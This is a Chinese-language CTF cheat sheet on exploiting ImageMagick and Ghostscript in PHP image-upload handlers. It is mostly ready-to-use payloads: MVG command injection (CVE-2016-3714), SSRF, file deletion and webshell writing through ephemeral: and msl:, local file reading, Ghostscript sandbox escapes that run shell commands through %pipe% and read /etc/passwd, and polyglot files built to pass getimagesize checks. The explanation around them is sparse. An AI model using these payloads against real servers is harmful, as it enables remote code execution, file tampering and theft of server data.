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ImageMagick

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在ctf的图片操作中，利用此模块代码的漏洞进行绕过。

ImageMagick

  • Bypass code

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    <?php
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    $filename = $_FILES['image']['tmp_name'];
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    $size = getimagesize($filename);
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    if ($size && $size[0] > 100 && $size[1] > 100) {
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        $img = new Imagick($_FILES['image']['tmp_name']);
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        $img->cropThumbnailImage(100, 100);
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        $img->writeImage('newimage.gif');
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    }

  • ImageMagick漏洞

    • ImageMagick 6.9.3-9

    • CVE-2016-3714

      与这个漏洞相关的CVE有CVE-2016-3714、CVE-2016-3715、CVE-2016-3716、CVE-2016-3717，其中最严重的就是CVE-2016-3714，利用这个漏洞可以造成远程命令执行的危害。

      ImageMagick有一个功能叫做delegate（委托），作用是调用外部的lib来处理文件。而调用外部lib的过程是使用系统的system命令来执行的。

      调用的漏洞委托：

      <delegate decode="https" command="&quot;curl&quot; -s -k -o &quot;%o&quot; &quot;https:%M&quot;"/>

      漏洞poc

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      push graphic-context
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      viewbox 0 0 640 480
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      fill 'url(https://"|id;")'
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      pop graphic-context

    • CVE-2016-3718

      利用mvg格式中可以包含url的特点，进行SSRF攻击 

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      push graphic-context
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      viewbox 0 0 640 480
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      fill 'url(http://example.com/)'
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      pop graphic-context

    • CVE-2016-3715

      利用ImageMagick支持的ephemeral协议，来删除任意文件： 

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      push graphic-context
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      viewbox 0 0 640 480
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      image over 0,0 0,0 'ephemeral:/tmp/delete.txt'
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      popgraphic-context

    • CVE-2016-3716

      ImageMagick支持的msl协议，来进行文件的读取和写入。利用这个漏洞，可以将任意文件写为任意文件，比如将图片写为一个.php后缀的webshell

      特别说明的是，msl协议是读取一个msl格式的xml文件，并根据其内容执行一些操作： 

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      file_move.mvg
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      -=-=-=-=-=-=-=-=-
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      push graphic-context
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      viewbox 0 0 640 480
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      image over 0,0 0,0 'msl:/tmp/msl.txt'
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      popgraphic-context
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      /tmp/msl.txt
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      -=-=-=-=-=-=-=-=-
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      <?xml version="1.0" encoding="UTF-8"?>
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      

    • CVE-2016-3717

      造成本地文件读取漏洞： 

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      push graphic-context
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      viewbox 0 0 640 480
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      image over 0,0 0,0 'label:@/etc/hosts'
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      pop graphic-context

    • Pocs

      Pocs

  • 深入分析

    • 漏洞代码

      1
      <?php
      2
        new Imagick('vul.gif');

      无返回值，需从日志读取

    • ImageMagick内存泄漏漏洞（CVE-2018-16323）

    • 攻击思路

      1. 生成PoC（ps文件）；

      2. 上传即可

    • poc

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      poc.png
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      ______________________________________________________________________________________________
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      %!PS
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      userdict /setpagedevice undef
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      save
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      legal
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      { null restore } stopped { pop } if
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      { legal } stopped { pop } if
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      restore
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      mark /OutputFile (%pipe%id > /tmp/success && cat /tmp/success) currentdevice putdeviceprops

    • GhostScript沙箱绕过（命令执行）漏洞（CVE-2019-6116）

  • 攻击思路

    1. 生成poc
    2. 上传即可

  • poc

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    poc.png
    2
    ______________________________________________________________________________________________
    3
    %!PS
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    % extract .actual_pdfpaintproc operator from pdfdict
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    /.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def
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    /exploit {
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        (Stage 11: Exploitation...)=
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        /forceput exch def
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        systemdict /SAFER false forceput
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        userparams /LockFilePermissions false forceput
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        systemdict /userparams get /PermitFileControl [(*)] forceput
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        systemdict /userparams get /PermitFileWriting [(*)] forceput
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        systemdict /userparams get /PermitFileReading [(*)] forceput
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        % update
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        save restore
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        % All done.
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        stop
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    } def
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    errordict /typecheck {
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        /typecount typecount 1 add def
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        (Stage 10: /typecheck #)=only typecount ==
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        % The first error will be the .knownget, which we handle and setup the
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        % stack. The second error will be the ifelse (missing boolean), and then we
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        % dump the operands.
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        typecount 1 eq { null } if
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        typecount 2 eq { pop 7 get exploit } if
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        typecount 3 eq { (unexpected)= quit }  if
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    } put
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    % The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some
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    % executable arrays onto the operand stack that contain .forceput, but are not
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    % marked as executeonly or pseudo-operators.
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    %
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    % The routine was attempting to pass them to ifelse, but we can cause that to
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    % fail because when the routine was declared, it used `bind` but many of the
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    % names it uses are not operators and so are just looked up in the dictstack.
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    %
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    % This means we can push a dict onto the dictstack and control how the routine
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    % works.
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    <<
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        /typecount      0
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        /PDFfile        { (Stage 0: PDFfile)= currentfile }
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        /q              { (Stage 1: q)= } % no-op
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        /oget           { (Stage 3: oget)= pop pop 0 } % clear stack
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        /pdfemptycount  { (Stage 4: pdfemptycount)= } % no-op
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        /gput           { (Stage 5: gput)= }  % no-op
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        /resolvestream  { (Stage 6: resolvestream)= } % no-op
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        /pdfopdict      { (Stage 7: pdfopdict)= } % no-op
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        /.pdfruncontext { (Stage 8: .pdfruncontext)= 0 1 mark } % satisfy counttomark and index
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        /pdfdict        { (Stage 9: pdfdict)=
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            % cause a /typecheck error we handle above
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            true
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        }
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    >> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop
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    (Should now have complete control over ghostscript, attempting to read /etc/passwd...)=
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    % Demonstrate reading a file we shouldnt have access to.
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    (/etc/passwd) (r) file dup 64 string readline pop == closefile
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    (Attempting to execute a shell command...)= flush
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    % run command
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    (%pipe%id > /tmp/success) (w) file closefile
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    (All done.)=
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    quit

  • 绕过getimagesize，执行new ImageMagick()漏洞

    • mvg格式的POC ：

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      push graphic-context
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      viewbox 0 0 640 480
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      fill 'url(https://127.0.0.0/oops.jpg"|"`id`)'
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      pop graphic-context
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      #define xlogo_width 200
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      #define xlogo_height 200

      • xbm图片是一个文本格式的文件，而不像其他图片一样是二进制文件。如果某一行格式满足

        #define %s %d，那么取出其中的字符串和数字，再从字符串中取出width或height，将数字作为图片的长和宽。

      • 后面两句，使其正常判断mvg格式文件的大小

    • ps文件poc

      • 借助CVE-2018-16509的POC 

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        poc.png
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        __________________________________________________________________________________________
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        %!PS
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        userdict /setpagedevice undef
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        save
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        legal
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        { null restore } stopped { pop } if
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        { legal } stopped { pop } if
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        restore
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        mark /OutputFile (%pipe%id) currentdevice putdeviceprops
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        /test {
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        #define xlogo64_width 64
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        #define xlogo64_height 64
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        }